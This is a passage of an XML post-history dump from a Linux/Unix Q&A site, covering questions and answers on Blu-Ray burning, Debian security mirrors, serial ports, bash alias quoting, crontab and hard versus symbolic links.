  <row Id="22747" PostHistoryTypeId="2" PostId="9562" RevisionGUID="5ab89325-4d98-430a-ab3a-b12dbcb3cb11" CreationDate="2011-03-18T16:16:23.523" UserId="5859" Text="I recently bought a Blu-Ray writer and am wondering how to best write the discs. The scenario is: I have a directory full of files and want to put them on the disc, read them back once to verify, and then put the disc on a shelf (i.e., the main purpose is for backup). Some of the files are bigger than 4.4GB or whatever the limit is for ISO filesystems.&#xD;&#xA;&#xD;&#xA;For writing to DVDs, I currently use `growisofs`, with `split` to break the files into bite-size chunks. growisofs doesn't seem to have good UDF support and splitting the files is lame, which is the motivation for my question.&#xD;&#xA;&#xD;&#xA;What is the current best practice for writing files onto a BD-R disc?&#xD;&#xA;&#xD;&#xA;I am on Debian Wheezy (Testing)." />
  <row Id="22748" PostHistoryTypeId="1" PostId="9562" RevisionGUID="5ab89325-4d98-430a-ab3a-b12dbcb3cb11" CreationDate="2011-03-18T16:16:23.523" UserId="5859" Text="Best practices for writing Blu-Ray discs on Linux" />
  <row Id="22749" PostHistoryTypeId="3" PostId="9562" RevisionGUID="5ab89325-4d98-430a-ab3a-b12dbcb3cb11" CreationDate="2011-03-18T16:16:23.523" UserId="5859" Text="éisoà" />
  <row Id="22750" PostHistoryTypeId="2" PostId="9563" RevisionGUID="17f0463e-e2bd-431f-8c85-e560f13aad7d" CreationDate="2011-03-18T16:25:31.860" UserId="872" Text="If the segmentation fault produces a &quot;core&quot; file, you can run `file &lt;core-filename&gt;` to identify the executable. You can also use `ddd` or `gdb` to debug the core file for more information." />
  <row Id="22751" PostHistoryTypeId="2" PostId="9564" RevisionGUID="f9951224-5e51-48da-a392-72f8a0b69a92" CreationDate="2011-03-18T16:37:41.717" UserId="5666" Text="Try adding `8250.nr_uarts=6` or `nr_uarts=6` in your kernel boot parameters.&#xD;&#xA;" />
  <row Id="22752" PostHistoryTypeId="2" PostId="9565" RevisionGUID="85839748-4b8b-43aa-ae3f-2920af8aa09f" CreationDate="2011-03-18T16:49:10.033" UserId="688" Text="If I want security updates for Debian, I add the following line to **/etc/apt/sources.list**:&#xD;&#xA;&#xD;&#xA;    deb http://security.debian.org &lt;codename&gt;/updates main&#xD;&#xA;&#xD;&#xA;Is there a repository that allows the `http` to be `ftp`? I say this because other normal Debian APT mirrors allows that. Also, the advantage of ftp is that it's often not put behind a proxy." />
  <row Id="22753" PostHistoryTypeId="1" PostId="9565" RevisionGUID="85839748-4b8b-43aa-ae3f-2920af8aa09f" CreationDate="2011-03-18T16:49:10.033" UserId="688" Text="Is there a Debian security APT repository that allows access via ftp?" />
  <row Id="22754" PostHistoryTypeId="3" PostId="9565" RevisionGUID="85839748-4b8b-43aa-ae3f-2920af8aa09f" CreationDate="2011-03-18T16:49:10.033" UserId="688" Text="ésecurityàéaptà" />
  <row Id="22755" PostHistoryTypeId="5" PostId="9552" RevisionGUID="94a7618d-9332-4c02-9f13-c73077907ba6" CreationDate="2011-03-18T16:54:43.700" UserId="138" Comment="rewrote to address changes in question" Text="A couple of things strike me about what I see in your `/proc` and `dmesg` output:&#xD;&#xA;&#xD;&#xA;- You shouldn't try to share an IRQ between devices. It may work, but the intention with ISA is that each device on the bus that needs an interrupt line to work gets its own IRQ. If your serial port cards don't give you enough IRQ options, you may simply not be able to use them all together in that PC.&#xD;&#xA;&#xD;&#xA;- The I/O addresses you are using for the second pair of serial ports are nonstandard. `ttyS2` is normally at 0x3E8 and `ttyS3` is normally at 0x2E8. I would move those if you have that option with the serial card. (There are no standard I/O addresses or IRQs for `ttyS4` and up.)&#xD;&#xA;&#xD;&#xA;Aside from all that, if I needed 6 serial ports on a Linux box, I wouldn't try to use plain old serial port adapter cards. I would use something like a &lt;a href=&quot;http://www.digi.com/products/serialcards/&quot;&gt;Digi AccelePort&lt;/a&gt;. They still offer one that will work in your ISA slots, the Xe model. If you need cheap, you should be able to find one floating around on the used market; they were very popular back in the day." />
  <row Id="22756" PostHistoryTypeId="2" PostId="9566" RevisionGUID="abb57e75-02b4-42a2-8dc9-ce8932ef30a4" CreationDate="2011-03-18T16:56:13.107" UserId="5785" Text="I've a debian on a VirtualBox here, at work, behind an enterprise proxy, and HTTP works fine. I don't know if security.debian.org allows FTP, but i don't really _trust_ some other source for my _security_ udpates.&#xD;&#xA;&#xD;&#xA;JUST FYI: I've configured apt to use the proxy." />
  <row Id="22757" PostHistoryTypeId="5" PostId="9564" RevisionGUID="e3b43b1d-23c4-4ca7-9cca-8fc5f594afc1" CreationDate="2011-03-18T17:01:25.190" UserId="5666" Comment="added 266 characters in body" Text="Try adding `8250.nr_uarts=6` &lt;strike&gt;or `nr_uarts=6`&lt;/strike&gt; in your kernel boot parameters.&#xD;&#xA;&#xD;&#xA;Edit: Some info that might help (hopefully).&#xD;&#xA;&#xD;&#xA; - http://www.linux.com/learn/docs/ldp/743-Serial-HOWTO#ss16.3&#xD;&#xA; - http://cateee.net/lkddb/web-lkddb/SERIAL_8250_NR_UARTS.html&#xD;&#xA; - http://cateee.net/lkddb/web-lkddb/SERIAL_8250_RUNTIME_UARTS.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22758" PostHistoryTypeId="2" PostId="9567" RevisionGUID="3ab42f6c-05b2-4e0b-9e09-fd1eda18bbde" CreationDate="2011-03-18T17:07:38.343" UserId="5861" Text="Hello,&#xD;&#xA;I want to work on Linux module programming(Device Drivers). And as a my college project i have to do profiling or benchmarking of a kernel modules based on various parameters. I am newbie in kernel programming So please tell me where i can find a good source of knowledge based on parameters comparisons of Linux modules. Everywhere i found that how to write a own device drivers. whereas i want to know that are there any parameters that affect the performance of any specific driver/module and how can i change them to test their various values.&#xD;&#xA;Thanks in advance......." />
  <row Id="22759" PostHistoryTypeId="1" PostId="9567" RevisionGUID="3ab42f6c-05b2-4e0b-9e09-fd1eda18bbde" CreationDate="2011-03-18T17:07:38.343" UserId="5861" Text="kernel module programming help" />
  <row Id="22760" PostHistoryTypeId="3" PostId="9567" RevisionGUID="3ab42f6c-05b2-4e0b-9e09-fd1eda18bbde" CreationDate="2011-03-18T17:07:38.343" UserId="5861" Text="élinuxàékernelàémoduleà" />
  <row Id="22761" PostHistoryTypeId="5" PostId="9567" RevisionGUID="b90f8a7c-6c7d-48d8-9a57-947b1c02e496" CreationDate="2011-03-18T17:16:49.280" UserId="688" Comment="an attempt at making this more grokable; deleted 137 characters in body" Text="I want to work on Linux module programming (Device Drivers). And as a my college project I have to do profiling or benchmarking of a kernel modules based on various parameters. Everywhere I looked, I found info on how to write device drivers, whereas I want info on what parameters affect the performance of any specific driver/module. I also want to know how can I change them to test their various values." />
  <row Id="22762" PostHistoryTypeId="25" PostId="9567" RevisionGUID="9607f050-235a-4b15-b17d-16e926c7b4dc" CreationDate="2011-03-18T17:31:20.813" Comment="http://twitter.com/#!/StackUnix/status/48798655729254400" />
  <row Id="22763" PostHistoryTypeId="2" PostId="9568" RevisionGUID="8581dcf5-290a-4dd9-a6b6-d88320290b7e" CreationDate="2011-03-18T17:40:44.697" UserId="2511" Text="If you are looking for the driver-specific parameters, there's several places to look:&#xD;&#xA;&#xD;&#xA;1. Hopefully there is some information in the [kernel documentation][1]. This is great for some stuff, sparse for others, and totally not there for most drivers.&#xD;&#xA;2. Run `modinfo` (maybe with `-F param` or `-F parm`), which hopefully will give helpful one-line descriptions of parameters.&#xD;&#xA;3. Find the [source code for the driver][2] and look for helpful inline documentation.&#xD;&#xA;4. Search for a possible web site organizing development of that driver (for example [alsa project][3] for sound).&#xD;&#xA;&#xD;&#xA;And, of course, where things are vague, there's always empirical testing — try it and see.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/Documentation/&#xD;&#xA;  [2]: http://lxr.linux.no/&#xD;&#xA;  [3]: http://www.alsa-project.org/" />
  <row Id="22764" PostHistoryTypeId="4" PostId="9567" RevisionGUID="975e6d8f-9ac7-43c5-9814-d96b28dc1d95" CreationDate="2011-03-18T17:41:17.283" UserId="2511" Comment="edited title" Text="Where can I find information on Linux device driver parameters?" />
  <row Id="22765" PostHistoryTypeId="5" PostId="9568" RevisionGUID="5830fc65-6c49-406e-86ae-49c172b8c373" CreationDate="2011-03-18T17:51:16.773" UserId="2511" Comment="added 17 characters in body" Text="If you are looking for the driver-specific parameters, there's several places you can find information.&#xD;&#xA;&#xD;&#xA;1. Hopefully there is some information in the [kernel documentation][1]. This is great for some stuff, sparse for others, and totally not there for most drivers.&#xD;&#xA;2. Run `modinfo` (maybe with `-F param` or `-F parm`), which hopefully will give helpful one-line descriptions of parameters.&#xD;&#xA;3. Find the [source code for the driver][2] and look for helpful inline documentation.&#xD;&#xA;4. Search for a possible web site organizing development of that driver (for example [alsa project][3] for sound).&#xD;&#xA;&#xD;&#xA;And, of course, where things are vague, there's always empirical testing — try it and see.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/Documentation/&#xD;&#xA;  [2]: http://lxr.linux.no/&#xD;&#xA;  [3]: http://www.alsa-project.org/" />
  <row Id="22766" PostHistoryTypeId="2" PostId="9569" RevisionGUID="7306a6c3-0d7f-4f8a-9152-330b6f253407" CreationDate="2011-03-18T17:52:10.970" UserId="5122" Text="Whats your favorite mouse to use while under the influence of linux?  &#xD;&#xA;I'm tired of having to copy and paste text using the the wheel of my mouse.   &#xD;&#xA;The amount of dexterity needed is legendary. Any body know of any kind of franken mouse which has four buttons (one that simulates the third button right below the wheel would be nice), or has any other interesting solution?&#xD;&#xA;&#xD;&#xA;Edit: A nice solution could also be some integration of the two cut and paste schemes (Ctrl+c, Ctrl+x, Ctrl+v) and the mouse highlight and paste with wheel&#xD;&#xA;so I could actually use the Ctrl keys while in a terminal." />
  <row Id="22767" PostHistoryTypeId="1" PostId="9569" RevisionGUID="7306a6c3-0d7f-4f8a-9152-330b6f253407" CreationDate="2011-03-18T17:52:10.970" UserId="5122" Text="What's your favorite mouse under linux?" />
  <row Id="22768" PostHistoryTypeId="3" PostId="9569" RevisionGUID="7306a6c3-0d7f-4f8a-9152-330b6f253407" CreationDate="2011-03-18T17:52:10.970" UserId="5122" Text="écopyöpasteà" />
  <row Id="22769" PostHistoryTypeId="2" PostId="9570" RevisionGUID="a396cb62-5ed9-4205-9955-33645c318ce0" CreationDate="2011-03-18T18:04:25.510" UserId="732" Text="I'm with you on the wheel-mice/coordination issue.  I'm not so sure about a hybrid cut-n-paste scheme.  I have this in my .Xresources file:&#xD;&#xA;&#xD;&#xA;    XTerm*VT100.scrollBar: true&#xD;&#xA;    XTerm*VT100.saveLines: 1000&#xD;&#xA;    XTerm*VT100.cutNewLine: false&#xD;&#xA;    XTerm*VT100.cutToBeginningOfLine: false&#xD;&#xA;    XTerm*VT100.charClass: 33:48,35:48,37:48,42:48,45-47:48,64:48,95:48,126:48&#xD;&#xA;    ! F2 key on PC 104-key keyboards&#xD;&#xA;    XTerm*VT100*translations: #override \n\&#xD;&#xA;        &lt;Key&gt;F2: insert-selection(PRIMARY,CUT_BUFFER0)&#xD;&#xA;    scrollstyle: plain&#xD;&#xA;&#xD;&#xA;It makes the F2 key into a keyboard-paste in xterm windows.  I find this helpful as I'm a vim user, and it may give you some taste of what a hybrid cut-n-paste scheme might feel like.&#xD;&#xA;&#xD;&#xA;Additionally, it makes &quot;words&quot; in xterm text include '/', '.' and '*' so that you can copy a filename with a single double-click." />
  <row Id="22770" PostHistoryTypeId="2" PostId="9571" RevisionGUID="dffd1b92-ef10-4f7b-a728-0da17e87390b" CreationDate="2011-03-18T18:10:13.223" UserId="2511" Text="I use a Logitech medium-of-the-line model. It's not too big but has lots off features. I also found click-with-mousewheel to be difficult, but I found a solution I'm happy with. Most current Logitech models define pushing the wheel to tilt slightly the left or right as a mouse click (button 7 and 8, in fact). This actually makes clicking straight down _even more annoying_, since it tends to be a bit wobbly.&#xD;&#xA;&#xD;&#xA;So, my solution: I use an `.Xmodmap` line to remap the wheel-to-the-right button as the middle button:&#xD;&#xA;&#xD;&#xA;    pointer = 1 7 3 4 5 6 2 8&#xD;&#xA;&#xD;&#xA;which works very well because it's really easy and natural to shift one's index finger from the left button slightly over to press to middle-click. This is much, much nicer than trying to click the wheel down without moving it. I actually now prefer this to a real third button. And if I had a use for a fourth button, the opposite motion of tilt-to-the-left is available too." />
  <row Id="22771" PostHistoryTypeId="2" PostId="9572" RevisionGUID="5bae10cf-7a88-4805-b3d6-81f31d1495a4" CreationDate="2011-03-18T18:23:07.543" UserId="3115" Text="When I create&#xD;&#xA;&#xD;&#xA;    alias wd='ps -ef | grep java | awk {'print $2 &quot; &quot; $9'} | egrep &quot;(A|B|C|D)&quot;'&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    function wd () {&#xD;&#xA;        ps -ef | grep java | awk '{print $2}' ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;in my .bashrc file, I get errors.  Interestingly, if I source my .bashrc file with the function, it 'compiles', but when executing, gives me:&#xD;&#xA;&#xD;&#xA;     context is&#xD;&#xA;    	 &gt;&gt;&gt; \ &lt;&lt;&lt; {\print&#xD;&#xA;    	missing }&#xD;&#xA;&#xD;&#xA;Can someone help me with this, and also answer when its better to put something in a function versus in an alias?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22772" PostHistoryTypeId="1" PostId="9572" RevisionGUID="5bae10cf-7a88-4805-b3d6-81f31d1495a4" CreationDate="2011-03-18T18:23:07.543" UserId="3115" Text="alias or bash function does not work" />
  <row Id="22773" PostHistoryTypeId="3" PostId="9572" RevisionGUID="5bae10cf-7a88-4805-b3d6-81f31d1495a4" CreationDate="2011-03-18T18:23:07.543" UserId="3115" Text="ébashàéaliasàéfunctionà" />
  <row Id="22774" PostHistoryTypeId="5" PostId="9569" RevisionGUID="c7d03839-1986-4c99-b5dc-521e0099d03a" CreationDate="2011-03-18T18:25:43.963" UserId="73" Comment="deleted 5 characters in body; edited tags; edited title" Text="I'm tired of having to copy and paste text using the the wheel of my mouse; the amount of dexterity needed is legendary. Anybody know of any kind of frankenmouse which has four buttons (one that simulates the third button right below the wheel would be nice)? Or have any other solution?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**: A nice solution could be some integration of the two cut and paste schemes (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;x&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt;) and the mouse highlight and paste with wheel,&#xD;&#xA;so I could actually use the &lt;kbd&gt;Ctrl&lt;/kbd&gt; keys while in a terminal." />
  <row Id="22775" PostHistoryTypeId="4" PostId="9569" RevisionGUID="c7d03839-1986-4c99-b5dc-521e0099d03a" CreationDate="2011-03-18T18:25:43.963" UserId="73" Comment="deleted 5 characters in body; edited tags; edited title" Text="Avoiding pasting with the mouse wheel" />
  <row Id="22776" PostHistoryTypeId="6" PostId="9569" RevisionGUID="c7d03839-1986-4c99-b5dc-521e0099d03a" CreationDate="2011-03-18T18:25:43.963" UserId="73" Comment="deleted 5 characters in body; edited tags; edited title" Text="écopyöpasteàémouseà" />
  <row Id="22777" PostHistoryTypeId="2" PostId="9573" RevisionGUID="6d62e679-ce81-41c9-9c44-75881a2be587" CreationDate="2011-03-18T18:36:37.903" UserId="1594" Text="When I do `crontab -e`, are the changes applied immediately when I save the file, or do I have vim for it to be applied?" />
  <row Id="22778" PostHistoryTypeId="1" PostId="9573" RevisionGUID="6d62e679-ce81-41c9-9c44-75881a2be587" CreationDate="2011-03-18T18:36:37.903" UserId="1594" Text="Are changes in crnotab applied when the file is saved, or when the editor is closed?" />
  <row Id="22779" PostHistoryTypeId="3" PostId="9573" RevisionGUID="6d62e679-ce81-41c9-9c44-75881a2be587" CreationDate="2011-03-18T18:36:37.903" UserId="1594" Text="écronà" />
  <row Id="22780" PostHistoryTypeId="2" PostId="9574" RevisionGUID="9a6ddc7a-813f-46c7-91f8-bc9b33c37031" CreationDate="2011-03-18T18:39:12.783" UserId="5325" Text="The problem with the alias is that quotes don't nest directly (except, as a special case, inside `$()`).  You need to escape the inner ones.&#xD;&#xA;&#xD;&#xA;    alias wd='ps -ef | grep java | awk {\'print $2 &quot; &quot; $9\'} | egrep &quot;(A|B|C|D)&quot;'&#xD;&#xA;    #                                   ^^               ^^&#xD;&#xA;&#xD;&#xA;You've removed too much of the function form for me to be certain, but the error snippet is from `awk` and suggests quoting or shell variable expansion problems.&#xD;&#xA;&#xD;&#xA;As a general rule, functions are more flexible than aliases (you have no control over argument processing with aliases aside from history expansion), but aliases are a little faster, and if you end the alias with a space then the first argument gets expanded as a command (tab completion, etc.)  Aliases also don't work in the file they're declared in (to avoid infinite alias expansion loops)." />
  <row Id="22781" PostHistoryTypeId="2" PostId="9575" RevisionGUID="a13ed34e-37f4-49a3-8fc1-2a593dd478c1" CreationDate="2011-03-18T18:45:13.460" UserId="1594" Text="What is the difference between symbolic and hard links?" />
  <row Id="22782" PostHistoryTypeId="1" PostId="9575" RevisionGUID="a13ed34e-37f4-49a3-8fc1-2a593dd478c1" CreationDate="2011-03-18T18:45:13.460" UserId="1594" Text="What is the difference between symbolic and hard links?" />
  <row Id="22783" PostHistoryTypeId="3" PostId="9575" RevisionGUID="a13ed34e-37f4-49a3-8fc1-2a593dd478c1" CreationDate="2011-03-18T18:45:13.460" UserId="1594" Text="ésymlinkàéhardlinkà" />
  <row Id="22784" PostHistoryTypeId="5" PostId="9573" RevisionGUID="a97974c3-4988-4175-a5fe-e4093d16edd4" CreationDate="2011-03-18T18:46:35.663" UserId="73" Comment="added 8 characters in body; edited title" Text="When I do `crontab -e`, are the changes applied immediately when I save the file, or do I have to exit vim for it to be applied?" />
  <row Id="22785" PostHistoryTypeId="4" PostId="9573" RevisionGUID="a97974c3-4988-4175-a5fe-e4093d16edd4" CreationDate="2011-03-18T18:46:35.663" UserId="73" Comment="added 8 characters in body; edited title" Text="Are changes in crontab applied when the file is saved, or when the editor is closed?" />
  <row Id="22786" PostHistoryTypeId="2" PostId="9576" RevisionGUID="07b2148b-489e-400f-8f92-cb996e261acc" CreationDate="2011-03-18T18:47:25.223" UserId="73" Text="It waits until you exit the editor. From the manpage:&#xD;&#xA;&#xD;&#xA;&gt; The  -e  option is used to edit the current crontab using the editor specified by the VISUAL or EDITOR environment variables.  After you exit from the editor, the modified crontab will be installed automatically.&#xD;&#xA;&#xD;&#xA;You can also tell by just watching stdout; it waits until you exit the editor and then outputs:&#xD;&#xA;&#xD;&#xA;&gt; crontab: installing new crontab&#xD;&#xA;" />
  <row Id="22787" PostHistoryTypeId="2" PostId="9577" RevisionGUID="77476aeb-7886-4a58-b72b-afba1360269a" CreationDate="2011-03-18T18:50:25.390" UserId="5766" Text="I dont think you can pass an argument to an alias.  An alias is just a string replacement rule for the first word of a command.  &#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    alias wd='ps -ef | grep java | awk {'print $2 &quot; &quot; $9'} | egrep &quot;(A|B|C|D)&quot;'&#xD;&#xA;&#xD;&#xA;will result in the command `wd arg1 arg2 arg3` being replaced and executed as&#xD;&#xA;&#xD;&#xA;    ps -ef | grep java | awk {'print &quot; &quot; '} | egrep &quot;(A|B|C|D)&quot; arg1 arg2 arg3&#xD;&#xA;&#xD;&#xA;For everything beyond that, use functions." />
  <row Id="22788" PostHistoryTypeId="2" PostId="9578" RevisionGUID="afcbddbd-35ac-474a-88e7-5df13618d057" CreationDate="2011-03-18T18:51:16.923" UserId="5785" Text="Hard links are just references to the same disk spaces, thath the 'why' you cannot hardlink something in other filesystem.&#xD;&#xA;&#xD;&#xA;Symlinks are files linking other files, maybe in the same filesystem, maybe not." />
  <row Id="22792" PostHistoryTypeId="2" PostId="9580" RevisionGUID="b980ba9e-3628-4e50-8d7d-eb4e1f9f75fd" CreationDate="2011-03-18T18:56:02.497" UserId="1594" Text="Whenever I type any &quot;nonsense&quot; command, this python error message is generated. Normal commands work fine. Any idea how to debug this?&#xD;&#xA;&#xD;&#xA;    $ somenonexistingcommand&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 553, in &lt;module&gt;&#xD;&#xA;        main()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 535, in main&#xD;&#xA;        known_paths = addusersitepackages(known_paths)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 268, in addusersitepackages&#xD;&#xA;        user_site = getusersitepackages()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 243, in getusersitepackages&#xD;&#xA;        user_base = getuserbase() # this will also set USER_BASE&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 233, in getuserbase&#xD;&#xA;        USER_BASE = get_config_var('userbase')&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/sysconfig.py&quot;, line 535, in get_config_var&#xD;&#xA;        return get_config_vars().get(name)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/sysconfig.py&quot;, line 434, in get_config_vars&#xD;&#xA;        _init_posix(_CONFIG_VARS)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/sysconfig.py&quot;, line 298, in _init_posix&#xD;&#xA;        raise IOError(msg)&#xD;&#xA;    IOError: invalid Python installation: unable to open /usr/include/python2.7/pyconfig.h (No such file or directory)&#xD;&#xA;    $ echo this works fine, however&#xD;&#xA;    this works fine, however&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22793" PostHistoryTypeId="1" PostId="9580" RevisionGUID="b980ba9e-3628-4e50-8d7d-eb4e1f9f75fd" CreationDate="2011-03-18T18:56:02.497" UserId="1594" Text="Why is this python error message generated whenever I type a nonesense command?" />
  <row Id="22794" PostHistoryTypeId="3" PostId="9580" RevisionGUID="b980ba9e-3628-4e50-8d7d-eb4e1f9f75fd" CreationDate="2011-03-18T18:56:02.497" UserId="1594" Text="ébashàéubuntuàépythonà" />
  <row Id="22795" PostHistoryTypeId="2" PostId="9581" RevisionGUID="149e3686-5c9e-42c7-b4b1-fe324a0ba3c5" CreationDate="2011-03-18T18:58:52.033" UserId="3389" Text="The point of both types of links is to provide a way to make a file appear in two locations at the same time.  This has a lot of uses.  9 times out of 10 you want to use symbolic links.&#xD;&#xA;&#xD;&#xA;Symbolic links, or &quot;symlinks&quot; work a little like Windows shortcuts.  The contents of a symlink are a pointer to the real location of the file/directory.  If you delete the real file, the symlink will become &quot;dangling,&quot; and won't work.  Deleting the symlink does not delete the real file.  You can have as many symlinks to a single file (or even other symlinks) as you like.&#xD;&#xA;&#xD;&#xA;Unlike Windows though, they work on the filesystem level, not shell or application level, so pretty much any application will &quot;follow&quot; symlinks as expected.  `ls -al` can be used as a quick way to see where symlinks &quot;point&quot; to.&#xD;&#xA;&#xD;&#xA;Hardlinks work even on a lower level.  A hardlink is an actual, physical on-the-filesystem-level directory entry of the file.  Technically, a directory entry is a hardlink, thus each file has at least one hardlink in a directory somewhere.  Hardlinks are not separate from the file they point to; if a file has multiple hardlinks in different directories, deleting the hardlink with utilites like `rm` won't truly delete the file, until all hardlinks are gone.&#xD;&#xA;&#xD;&#xA;I can't think of situation where use of hardlinks is common, or even needed, unless you intentionally want to prevent the files from getting deleted or are doing some weird low-level work with partitions or other filesystem related things." />
  <row Id="22796" PostHistoryTypeId="2" PostId="9582" RevisionGUID="de357be4-ee80-404c-9498-3290e22e2021" CreationDate="2011-03-18T19:01:08.510" UserId="5325" Text="Hard links are very useful for disk-based backup mechanisms, because you can have a full directory tree for each backup while sharing the space for files that haven't changed — and the filesystem keeps track of reference counting, so when the last reference to a given version goes away because the backup was expired/removed for space reasons, the space it used is automatically reclaimed.  Some mail clients also use it for messages filed to multiple folders, for the same reason." />
  <row Id="22797" PostHistoryTypeId="5" PostId="9578" RevisionGUID="84d30706-389f-4f56-81d6-be85ea138323" CreationDate="2011-03-18T19:01:23.917" UserId="5785" Comment="added 759 characters in body" Text="Hard links are just references to the same disk spaces, thath the 'why' you cannot hardlink something in other filesystem.&#xD;&#xA;&#xD;&#xA;Symlinks are files linking other files (as Windows shortcuts), maybe in the same filesystem, maybe not.&#xD;&#xA;&#xD;&#xA;EDIT: I will explain something more. Every file that exists has a minimum of 1 hard link. Hard links are _the way_ to access the content of an inode of the filesystem. You can obtain the inode number of a file with `ls -i`, and get the number of hardlinks with `stat` as follows in this example:&#xD;&#xA;&#xD;&#xA;    $ stat plantilla-disenos.odt &#xD;&#xA;      File: «plantilla-disenos.odt»&#xD;&#xA;      Size: 12367     	Blocks: 32         IO Block: 4096   fichero regular&#xD;&#xA;    Device: 803h/2051d	Inode: 319875      Links: 1&#xD;&#xA;    Access: (0644/-rw-r--r--)  Uid: ( 1000/   d4rio)   Gid: ( 1000/   d4rio)&#xD;&#xA;    Access: 2011-02-11 21:36:19.000000000 -0300&#xD;&#xA;    Modify: 2010-03-02 23:27:28.000000000 -0300&#xD;&#xA;    Change: 2010-04-10 17:46:27.000000000 -0300&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22798" PostHistoryTypeId="5" PostId="9580" RevisionGUID="0bbb0573-ee38-4cd8-89de-59b5ddb12a10" CreationDate="2011-03-18T19:02:22.083" UserId="1594" Comment="code" Text="Whenever I type any &quot;nonsense&quot; command, this python error message is generated. Normal commands work fine. Any idea how to debug this?&#xD;&#xA;&#xD;&#xA;    $ somenonexistingcommand&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 553, in &lt;module&gt;&#xD;&#xA;        main()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 535, in main&#xD;&#xA;        known_paths = addusersitepackages(known_paths)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 268, in addusersitepackages&#xD;&#xA;        user_site = getusersitepackages()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 243, in getusersitepackages&#xD;&#xA;        user_base = getuserbase() # this will also set USER_BASE&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site.py&quot;, line 233, in getuserbase&#xD;&#xA;        USER_BASE = get_config_var('userbase')&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/sysconfig.py&quot;, line 535, in get_config_var&#xD;&#xA;        return get_config_vars().get(name)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/sysconfig.py&quot;, line 434, in get_config_vars&#xD;&#xA;        _init_posix(_CONFIG_VARS)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/sysconfig.py&quot;, line 298, in _init_posix&#xD;&#xA;        raise IOError(msg)&#xD;&#xA;    IOError: invalid Python installation: unable to open /usr/include/python2.7/pyconfig.h (No such file or directory)&#xD;&#xA;    $ echo this works fine, however&#xD;&#xA;    this works fine, however&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;**EDIT** - after fixing my /usr/bin/python, I now get this different python error message:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ yetanothernonexistingcommand&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/lib/command-not-found&quot;, line 10, in &lt;module&gt;&#xD;&#xA;        import CommandNotFound&#xD;&#xA;    ImportError: No module named CommandNotFound&#xD;&#xA;&#xD;&#xA;Somehow, python is being run whenever I mistype a command." />
  <row Id="22800" PostHistoryTypeId="5" PostId="9575" RevisionGUID="343ff7a3-8d11-4d11-bf48-e29babc11062" CreationDate="2011-03-18T19:08:07.520" UserId="1594" Comment="Update " Text="When would you use one over the other?" />
  <row Id="22801" PostHistoryTypeId="2" PostId="9584" RevisionGUID="7d9ce56c-28a7-4d64-a636-d6bbc9f0fd11" CreationDate="2011-03-18T19:16:16.823" UserId="885" Text="### Why the alias doesn't work&#xD;&#xA;&#xD;&#xA;    alias wd='ps -ef | grep java | awk {'print $2 &quot; &quot; $9'} | egrep &quot;(A|B|C|D)&quot;'&#xD;&#xA;&#xD;&#xA;The `alias` command receives three arguments. The first is the string `wd=ps -ef | grep java | awk {print` (the single quotes prevent the characters between them from having a special meaning). The second argument consists of a single space character. (In `.bashrc`, the positional parameters `$2` and `$9` are empty, so `$2` expands to a list of 0 words.) The third argument is `} | egrep &quot;(A|B|C|D)&quot;` (again the single quotes protect the special characters).&#xD;&#xA;&#xD;&#xA;The alias definition is parsed like any other shell command when it is encountered. Then the string defined for the alias is parsed when the alias is expanded. Here are some possible ways to define this alias. First possibility: since the whole alias definition is within single quotes, only use double quotes in the commands, which means you must protect the `&quot;` and `$` meant for awk with backslashes.&#xD;&#xA;&#xD;&#xA;    alias wd='ps -ef | grep java | awk &quot;{print \$2 \&quot; \&quot; \$9}&quot; | egrep &quot;(A|B|C|D)&quot;'&#xD;&#xA;&#xD;&#xA;Second possibility: every character stands for itself within single quotes, except that a single quote ends the literal string. `'\''` is an idiom for “single quote inside a single-quoted string”: end the single-quoted string, put a literal single quote, and immediately start a new single-quoted string. Since there's no intervening space, it's still the same word.&#xD;&#xA;&#xD;&#xA;    alias wd='ps -ef | grep java | awk '\''{print $2 &quot; &quot; $9}'\'' | egrep &quot;(A|B|C|D)&quot;'&#xD;&#xA;&#xD;&#xA;You can simplify this a bit:&#xD;&#xA;&#xD;&#xA;    alias wd='ps -ef | grep java | awk '\''{print $2, $9}'\'' | egrep &quot;(A|B|C|D)&quot;'&#xD;&#xA;&#xD;&#xA;Tip: use `set -x` to see how the shell is expanding your commands.&#xD;&#xA;&#xD;&#xA;### Why the function doesn't work&#xD;&#xA;&#xD;&#xA;I don't know. The part you show 